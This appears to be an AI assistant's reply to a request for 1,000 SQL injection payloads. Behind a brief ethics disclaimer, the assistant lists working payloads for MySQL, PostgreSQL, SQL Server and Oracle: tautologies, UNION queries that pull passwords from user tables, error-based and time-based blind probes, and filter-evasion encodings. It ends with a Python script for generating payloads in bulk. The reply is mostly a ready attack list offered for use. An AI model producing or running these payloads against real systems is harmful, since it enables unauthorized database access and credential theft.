Okay, generating 1,000 unique and potentially effective SQL injection payloads requires covering various techniques, database types, and obfuscation methods. Blindly spraying 1,000 might not be the most efficient approach; usually, you start with simpler ones and escalate. However, to fulfill your request, here's a structured list demonstrating types of payloads and variations you could generate.
Ethical Warning and Disclaimer:
- Legality: Only use these payloads against systems you have explicit, written permission to test. Unauthorized testing is illegal and unethical.
- Purpose: This information is for educational purposes and security testing professionals. Misuse can cause significant damage.
- Effectiveness: The effectiveness of any payload depends entirely on the specific application, backend database (MySQL, PostgreSQL, SQL Server, Oracle, etc.), query structure, and filtering/sanitization mechanisms in place. Many payloads might be redundant or ineffective in certain contexts.
- Automation: For exhaustive testing, automated tools like sqlmap, Burp Suite Pro (SQL injection scanner), etc., are far more efficient and systematic than manual payload lists. They can automatically adapt payloads based on discovered information.
Payload Categories:
- Basic Syntax Checks: Primarily looking for single quote handling.
- Tautologies / Boolean-Based: Injecting conditions that are always true or always false to see if the response changes.
- UNION-Based Attacks: Combining results from the original query with results from a injected query. Requires knowing/guessing the number of columns.
- Error-Based Attacks: Triggering database errors that reveal information.
- Time-Based / Blind Attacks: Injecting commands that cause a delay if a condition is true.
- Database-Specific Functions: Using functions known to specific database systems.
- Comment Variations: Using different comment styles to terminate the original query.
- Obfuscation/Encoding: Using URL encoding, hex encoding, alternative syntax, case changes, whitespace, etc.
Generating Variations:
The core idea is to vary:
- The injection character (e.g.,
', ").
- The boolean condition (e.g.,
1=1, 1=2, SLEEP(5)=0).
- The
UNION SELECT structure (number of columns, data types).
- The comment style (e.g.,
--, #, /* */, -- -, --+).
- The database function used (e.g.,
version(), @@version, user, database()).
- The obfuscation technique applied.
Example Payload Structures (Illustrating Variety - Not 1000 distinct ones here):
Let's assume the vulnerable parameter is reflected in a query like SELECT data FROM items WHERE id = [PARAMETER_VALUE] or SELECT * FROM users WHERE username = '[PARAMETER_VALUE]'.
1. Basic Syntax Checks
'
"
' OR 1=1 --
" OR 1=1 --
' AND 1=1 --
" AND 1=1 --
' OR 1=2 --
" OR 1=2 --
' AND 1=2 --
" AND 1=2 --
' OR 'a'='a --
" OR "a"="a --
' OR 'a'='b --
" OR "a"="b --
1'
2"
1' OR '1'='1
1" OR "1"="1
1' OR '1'='2
1" OR "1"="2
2. Tautologies / Boolean-Based
' OR 1=1 --
' OR 2=2 --
' OR 100>99 --
' OR 100<101 --
' AND 1=1 --
' AND 2=2 --
' AND 100>99 --
' AND 100<101 --
' OR 'a'='a --
' OR 'abc'='abc --
' AND 'a'='a --
' AND 'abc'='abc --
' OR 1=1#
' AND 1=1#
' OR 1=1/*
' AND 1=1/*
' OR SLEEP(5)-- (MySQL)
' OR pg_sleep(5)-- (PostgreSQL)
' OR (SELECT * FROM (SELECT(SLEEP(5)))a)-- (MySQL nested)
' WAITFOR DELAY '0:0:5' -- (SQL Server)
' OR 1=(SELECT COUNT(*) FROM users)-- (Check user count)
' OR 1=(SELECT COUNT(*) FROM information_schema.tables)-- (Check table count)
3. UNION-Based Attacks
(Requires guessing column count and compatibility)
Assume 3 columns for examples:
' UNION SELECT null,null,null --
' UNION SELECT 1,2,3 --
' UNION SELECT @@version, database(), user() -- (MySQL)
' UNION SELECT version(), current_database(), current_user -- (PostgreSQL)
' UNION SELECT @@version, DB_NAME(), USER_NAME() -- (SQL Server)
' UNION SELECT banner, user, SYS_CONTEXT('USERENV','SESSION_USER') FROM v$version -- (Oracle)
' UNION SELECT null, null, concat('X', version(), 'X') -- (MySQL string concat)
' UNION SELECT null, null, 'a' || 'b' || 'c' -- (PostgreSQL string concat)
' UNION SELECT null, null, 'a' + 'b' + 'c' -- (SQL Server string concat)
' UNION SELECT null, null, chr(97)||chr(98)||chr(99) FROM dual -- (Oracle string concat)
' UNION SELECT 1,2,3 FROM information_schema.tables --
' UNION SELECT 1,2,table_name FROM information_schema.tables --
' UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT null, table_name, null FROM information_schema.tables --
' UNION SELECT null, null, password FROM users LIMIT 1 -- (Might need to adjust table/column names)
' UNION SELECT null, null, password FROM mysql.user LIMIT 1 -- (Older MySQL)
ORDER BY 1 --
ORDER BY 2 --
ORDER BY 3 --
ORDER BY 4 -- (Look for errors to find column count)
UNION SELECT @@version, @@version, @@version --
UNION SELECT user, password, NULL FROM mysql.user --
UNION SELECT username, password, NULL FROM users --
4. Error-Based Attacks
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) -- (MySQL)
' AND extractvalue(rand(),concat(0x7e,(SELECT version()))) -- (MySQL)
' AND updatexml(1,concat(0x5e,version(),0x5e),1) -- (MySQL)
' AND (SELECT 1/0) -- (Generic division by zero)
' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 1/0 END) -- (Generic conditional error)
' OR 1=(SELECT CONVERT(INT,version())) -- (SQL Server Type Conversion Error)
' OR 1=(SELECT CAST(version() AS INT)) -- (SQL Server Type Conversion Error)
' OR 1=(SELECT CONVERT(INT,DB_NAME())) -- (SQL Server Type Conversion Error)
' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_NAME LIKE '%sleep%') > 0 -- (Check for sleep function availability)
5. Time-Based / Blind Attacks
' AND IF(1=1, SLEEP(5), 0) -- (MySQL)
' AND IF(1=2, SLEEP(5), 0) -- (MySQL)
' OR IF(USER() LIKE 'root%', SLEEP(5), 0) -- (MySQL)
' OR IF(SUBSTRING(version(),1,1)='5', SLEEP(5), 0) -- (MySQL)
' UNION SELECT IF(1=1,pg_sleep(5),0) -- (PostgreSQL)
' UNION SELECT IF(substring(version(),1,1)='9', pg_sleep(5), 0) -- (PostgreSQL)
' WAITFOR DELAY '0:0:5' -- (SQL Server)
' IF (1=1) WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0' -- (SQL Server)
' AND 1=(SELECT CASE WHEN (SUBSTRING(version(),1,1)='1') THEN 1 ELSE (WAITFOR DELAY '0:0:5') END) -- (SQL Server)
' UNION SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE NULL END -- (PostgreSQL)
' AND (SELECT COUNT(*) FROM users WHERE username LIKE 'admin%') > 0; WAITFOR DELAY '0:0:5' -- (SQL Server Batch)
' AND (SELECT COUNT(*) FROM users WHERE username LIKE 'admin%') > 0 || pg_sleep(5) -- (PostgreSQL OR condition)
' AND (SELECT COUNT(*) FROM users WHERE username LIKE 'admin%') > 0 && SLEEP(5) -- (MySQL AND condition)
6. Database-Specific Functions
- MySQL:
version(), @@version, database(), user(), load_file(), schema_name(), @@datadir, @@basedir, GROUP_CONCAT(), CONCAT(), HEX(), UNHEX(), BENCHMARK(), NAME_CONST().
- PostgreSQL:
version(), current_database(), current_user, inet_client_addr(), pg_sleep(), substring(), || (concat), md5().
- SQL Server:
@@version, DB_NAME(), USER_NAME(), SYSTEM_USER, HOST_NAME(), GETDATE(), WAITFOR DELAY, CONVERT(), CAST(), CHAR(), REPLACE(), + (concat).
- Oracle:
banner, USER, SYS_CONTEXT('USERENV','SESSION_USER'), DUAL, CHR(), || (concat), DBMS_LOCK.SLEEP(), ROWNUM.
7. Comment Variations
-- (Standard SQL, space is sometimes important)
-- (No space, might not work everywhere)
# (MySQL specific)
/* comment */ (Multi-line C-style comment)
/**/ (Empty multi-line comment)
-- -
-- +
--%20 (URL encoded space)
%00 (Null byte, often stripped but worth trying)
/*comment%00*/
8. Obfuscation/Encoding
- URL Encoding: Replace characters like
' with %27, with %20, -- with %2d%2d, # with %23, ( with %28, ) with %29.
- Hex Encoding:
0x... (MySQL). ' UNION SELECT 0x76657273696f6e() -- (version())
- Case Variation:
uNiOn SeLeCt (Less effective on case-insensitive databases/comparisons).
- Whitespace:
UNION%20SELECT%20null,null,null. Add extra spaces: ' UNION SELECT 1,2,3 -- '.
- Nested Comments:
/* -- */
/*! UNION SELECT */ (MySQL specific: executes code within /*! ... */)
CONCAT('SELECT',' version()') -> SELECT version()
CHAR()/HEX() variations: ' UNION SELECT CHAR(86,69,82,83,73,79,78)--' (ASCII for VERSION)
How to Systematically Generate (Conceptual Example):
You could use scripting (Python, Bash) combined with lists of keywords, functions, comments, and techniques to generate a large number of variations.
- Base Payloads: Start with a list of ~50-100 core payloads covering different techniques.
- Column Count: For
UNION-based attacks, iterate through potential column counts (1 to 20, for example). Modify null,null,null to match the count.
- Comments: For each base payload, append each comment variation (
-- , #, /* */, etc.).
- Functions: For payloads involving functions (like
version()), replace them with alternatives (@@version, user(), database(), etc.).
- Encoding: Take existing payloads and apply URL encoding, maybe Hex encoding for specific parts.
- Whitespace: Insert random whitespace or URL-encoded spaces.
- Database Specific Syntax: Adapt boolean/time-based payloads for different DBs (IF vs WAITFOR vs pg_sleep).
Example Python Snippet (Illustrative):
keywords = ["UNION", "SELECT", "AND", "OR", "FROM", "WHERE"]
functions_mysql = ["version()", "database()", "user()", "@@version"]
comments = ["-- ", "#", "/*"]
# ... many more variations ...
payloads = set()
# Basic Tautologies
for op in [" OR ", " AND "]:
for comp in ["1=1", "2=2", "'a'='a'"]:
for comment in comments:
payloads.add(f"'{op}{comp}{comment}'")
payloads.add(f'" {op}{comp}{comment}"') # Assuming string context
# Basic UNION
for i in range(1, 6): # Try 1 to 5 columns
cols = ",".join(["null"] * i)
for comment in comments:
payloads.add(f"' UNION SELECT {cols}{comment}")
# UNION with Functions (MySQL Example)
for i in range(1, 6):
for func in functions_mysql:
cols_list = ["null"] * i
# Try placing function in different positions
for pos in range(i):
cols_list[pos] = func
cols = ",".join(cols_list)
payloads.add(f"' UNION SELECT {cols}{comments[0]} ") # Using first comment
cols_list[pos] = "null" # Reset for next position
# ... Add time-based, error-based, encoding logic ...
# To get ~1000, you'd need many more combinations and variations.
# print(len(payloads))
# for p in list(payloads)[:20]: # Print a sample
# print(p)
# Consider URL encoding each payload
# encoded_payloads = {urllib.parse.quote(p) for p in payloads}
Remember to adapt these techniques based on the target environment and the results you observe. Start simple and escalate complexity if needed. Good luck with your testing.